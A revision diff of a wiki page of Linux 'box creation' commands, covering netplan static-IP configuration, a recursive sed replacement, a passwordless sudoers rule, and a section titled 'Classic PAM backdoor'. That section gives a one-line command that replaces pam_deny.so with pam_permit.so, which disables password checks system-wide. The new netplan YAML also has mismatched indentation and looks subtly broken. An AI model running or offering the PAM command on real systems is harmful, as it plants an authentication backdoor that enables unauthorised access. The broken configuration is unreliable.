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--- common_box_creation_commands [2021/11/06 01:56] – Charlie Root
+++ common_box_creation_commands [2022/11/29 19:14] (current) – michael
@@ Line 27: / Line 27: @@
 </code>
-Linux set static IP:
+Linux set static IP for before Ubuntu 22:
 <code>
 /etc/network/interfaces
@@ Line 39: / Line 39: @@
 </code>
+Linux set static IP for Ubuntu 22 and later:
 <code>
-/etc/netplan/01-ethernet.yaml
+/etc/netplan/00-ethernet.yaml
 network:
-    version: 2
+  version: 2
-    renderer: networkd
+  renderer: networkd
-    ethernets:
+  ethernets:
-        ens160:
+    <interface name>:
-            dhcp4: no
+      dhcp4: false
-            addresses: [198.168.0.10/24]
+      dhcp6: false
-            gateway4: 192.168.0.1
+     addresses:
-            nameservers:
+      - 192.168.0.10/24
-                addresses: [192.168.0.11,172.16.3.100]
+     routes:
+      - to: default
+        via: 192.168.0.1
+     nameservers:
+       addresses: [192.168.0.1]
+Apply changes:
+sudo netplan apply
 </code>
+Linux find and replace recursively
+<code>
+find . -name '*.txt*' -exec sed -i 's/user1/user2/g' {} +
+</code>
+Sudoer NOPASSWD
+<code>
+%sudo   ALL=(ALL:ALL) NOPASSWD:ALL
+</code>
+Classic PAM backdoor
+<code>
+# Ubuntu 20.04
+cd /usr/lib/x86_64-linux-gnu/security/; mv pam_deny.so pam_deny_original.so; cp pam_permit.so pam_deny.so
+</code>

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